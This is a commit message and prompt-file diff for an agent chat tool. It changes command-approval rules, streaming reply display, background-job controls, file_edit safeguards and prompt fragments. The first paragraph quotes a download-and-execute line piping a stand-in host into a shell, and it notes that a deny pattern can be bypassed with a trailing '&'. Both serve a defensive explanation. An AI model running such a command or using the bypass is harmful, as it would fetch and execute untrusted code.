A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/services/prompts.py

@@ -718,7 +718,11 @@ BUILTIN: tuple[Fragment, ...] = (
             "removed assertion or a skipped test buys a green run and keeps the bug.\n"
             "  - Say what you did and what you checked, including what you could not "
             "check. If something is still broken, say so — being told a job is "
-            "finished when it is not is worse than being told it is hard."
+            "finished when it is not is worse than being told it is hard.\n"
+            "  - Done means run. Before you say the work is finished, run the thing "
+            "one more time — the tests, the build, the script — and say what came back. "
+            "Reading your own change and finding it correct is not the same evidence, "
+            "and if you could not run it, say that instead of implying you did."
         ),
     ),
     Fragment(
@@ -769,6 +773,28 @@ BUILTIN: tuple[Fragment, ...] = (
             "reply ends."
         ),
     ),
+    Fragment(
+        key="core.commit",
+        label="Deciding and then doing",
+        group=GROUP_CORE,
+        order=114,
+        families=("agent",),
+        hint="An agent chat only, and the counterweight to the fragment above "
+        "it. `core.narrate` tells a model to work out loud and nothing told it "
+        "to stop, which a smaller model reads as licence to deliberate "
+        "indefinitely: it announces the call, reconsiders, announces it again, "
+        "and the reply ends having done nothing, because a round that produces "
+        "no tool call is a model saying it has finished. Narration is worth "
+        "having and this is what bounds it.",
+        default=(
+            "When you have decided what to do, do it in the same turn — make the call. "
+            "Do not restate the decision, re-check what you have already checked, or "
+            "write another line about what you are about to do. If you have written the "
+            "same intention twice, that is the signal that you should already have "
+            "acted. Thinking on the page is fine; finishing a reply having only thought "
+            "is not, because a turn that calls nothing is a turn that says you are done."
+        ),
+    ),
     Fragment(
         key="core.interjection",
         label="Being interrupted",
@@ -1101,16 +1127,47 @@ BUILTIN: tuple[Fragment, ...] = (
         "a new turn -- and that that turn is a machine event, not the person, "
         "the same distinction core.interjection draws for a typed message.",
         default=(
-            "- A command that would take a while — an install, a build, a download — "
-            "can run in the background: pass `background: true`, or just let it run and "
-            "it is kept going rather than killed when it reaches its timeout. It keeps "
-            "running after this reply. Read it with job_output, stop it with job_stop.\n"
+            "- A command that would take a while — an install, a build, a download, a "
+            "long test run — can run in the background: pass `background: true`, or "
+            "just let it run and it is kept going rather than killed when it reaches "
+            "its timeout. It keeps running after this reply. Read it with job_output, "
+            "list what is running with job_list, stop one with job_stop.\n"
+            "- Check a job with job_output rather than running the command again. A "
+            "second copy of a build or an install competing with the first is how both "
+            "fail, and the output you want is already being collected. Get on with "
+            "something else in the meantime — that is what backgrounding it was for.\n"
             "- When a background job finishes you are told in a new turn that begins "
             "\"A background job you started has finished\". That is a machine event "
             "reporting a result, not the person you are talking to — read it as you "
             "would the output of any command, and carry on from it."
         ),
     ),
+    Fragment(
+        key="tool.agent_edits",
+        label="Changing a file",
+        group=GROUP_TOOLS,
+        order=252,
+        families=("agent",),
+        hint="An agent chat only. All of this is in the `file_edit` "
+        "description, which is schema and cannot be edited -- and it is still "
+        "the tool models get wrong most often. The description is read once "
+        "alongside twelve others; this is guidance, and it says the two things "
+        "the description cannot: what to do when a patch is refused, and that "
+        "rewriting the file instead is the worse answer rather than the "
+        "fallback.",
+        default=(
+            "- Changing part of a file: read it with file_read first — file_edit "
+            "refuses otherwise, and the refusal is about this same reply — then send a "
+            "patch with about three unchanged lines either side of each change. The "
+            "line numbers in a hunk header may be approximate; the context lines may "
+            "not, and they are what the change is found by.\n"
+            "- If a patch is refused you are shown the file as it actually is around "
+            "where the hunk expected to land. Write the next patch from that, not from "
+            "memory. Sending the same patch again will fail the same way, and falling "
+            "back to file_write is worse than either: it replaces the whole file, so "
+            "everything you did not happen to recall is gone."
+        ),
+    ),
     Fragment(
         key="tool.project_files",
         label="What is in the project directory",